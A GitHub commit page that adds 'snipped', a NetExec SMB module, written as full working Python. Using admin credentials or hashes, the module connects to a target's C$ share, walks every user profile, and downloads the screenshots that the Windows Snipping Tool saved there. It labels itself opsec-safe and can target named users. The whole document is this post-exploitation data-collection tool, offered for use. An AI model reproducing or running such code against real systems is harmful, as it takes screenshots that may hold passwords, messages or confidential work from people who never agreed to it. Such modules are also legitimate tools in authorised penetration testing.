Skip to content

Commit 54fea63

Browse files
committed
Created the Snipped SMB Module
1 parent 05ad3c6 commit 54fea63

1 file changed

Lines changed: 120 additions & 0 deletions

File tree

nxc/modules/snipped.py

Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
from impacket import smb, smb3
2+
import ntpath
3+
from os import makedirs
4+
from os.path import join, exists
5+
from dploot.lib.smb import DPLootSMBConnection
6+
from dploot.lib.target import Target
7+
8+
class NXCModule:
9+
10+
name = "snipped"
11+
description = "Downloads screenshots taken by the (new) Snipping Tool."
12+
supported_protocols = ["smb"]
13+
opsec_safe = True
14+
multiple_hosts = True
15+
16+
def __init__(self):
17+
self.context = None
18+
self.module_options = None
19+
20+
def options(self, context, module_options):
21+
"""
22+
USERS Download only specified user(s); format: -o USERS=user1,user2,user3
23+
"""
24+
self.context = context
25+
self.screenshot_path_stub = r"Pictures\Screenshots"
26+
self.users = module_options["USERS"].split(",") if "USERS" in module_options else None
27+
28+
def on_admin_login(self, context, connection):
29+
self.context = context
30+
self.connection = connection
31+
self.share = "C$"
32+
33+
host = f"{connection.hostname}.{connection.domain}"
34+
domain = connection.domain
35+
username = connection.username
36+
kerberos = connection.kerberos
37+
aesKey = connection.aesKey
38+
use_kcache = getattr(connection, "use_kcache", False)
39+
password = getattr(connection, "password", "")
40+
lmhash = getattr(connection, "lmhash", "")
41+
nthash = getattr(connection, "nthash", "")
42+
43+
target = Target.create(
44+
domain=domain,
45+
username=username,
46+
password=password,
47+
target=host,
48+
lmhash=lmhash,
49+
nthash=nthash,
50+
do_kerberos=kerberos,
51+
aesKey=aesKey,
52+
use_kcache=use_kcache,
53+
)
54+
55+
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
56+
57+
output_path = f"nxc_snipped_{connection.host}"
58+
context.log.debug("Getting all user folders")
59+
try:
60+
user_folders = dploot_conn.listPath(self.share, "\\Users\\*")
61+
except Exception as e:
62+
context.log.fail(f"Failed to list user folders: {e}")
63+
return
64+
65+
context.log.debug(f"User folders: {user_folders}")
66+
if not user_folders:
67+
context.log.fail("No User folders found!")
68+
return
69+
else:
70+
context.log.display("Attempting to download screenshots if existent.")
71+
72+
for user_folder in user_folders:
73+
if not user_folder.is_directory():
74+
continue
75+
folder_name = user_folder.get_longname()
76+
if folder_name in [".", "..", "All Users", "Default", "Default User", "Public"]:
77+
continue
78+
if self.users and folder_name not in self.users:
79+
continue
80+
81+
screenshot_path = ntpath.normpath(join(r"Users", folder_name, self.screenshot_path_stub))
82+
try:
83+
screenshot_files = dploot_conn.listPath(self.share, screenshot_path + "\\*")
84+
except Exception as e:
85+
context.log.debug(f"Screenshot folder {screenshot_path} not found for user {folder_name}: {e}")
86+
continue
87+
88+
if not screenshot_files:
89+
context.log.debug(f"No screenshots found in {screenshot_path} for user {folder_name}")
90+
continue
91+
92+
user_output_dir = join(output_path, folder_name)
93+
if not exists(user_output_dir):
94+
makedirs(user_output_dir)
95+
96+
context.log.display(f"Downloading screenshots for user {folder_name}")
97+
downloaded_count = 0
98+
for file in screenshot_files:
99+
if file.is_directory():
100+
continue
101+
remote_file_path = ntpath.join(screenshot_path, file.get_longname())
102+
local_file_path = join(user_output_dir, file.get_longname())
103+
with open(local_file_path, 'wb') as local_file:
104+
try:
105+
context.log.debug(f"Downloading {remote_file_path} to {local_file_path}")
106+
dploot_conn.readFile(self.share, remote_file_path, local_file.write)
107+
downloaded_count += 1
108+
except Exception as e:
109+
context.log.debug(f"Failed to download {remote_file_path} for user {folder_name}: {e}")
110+
continue
111+
112+
context.log.success(f"{downloaded_count} screenshots for user {folder_name} downloaded to {user_output_dir}")
113+
114+
def upgrade_connection(self, target: Target, connection=None):
115+
conn = DPLootSMBConnection(target)
116+
if connection is not None:
117+
conn.smb_session = connection
118+
else:
119+
conn.connect()
120+
return conn

0 commit comments

Comments
 (0)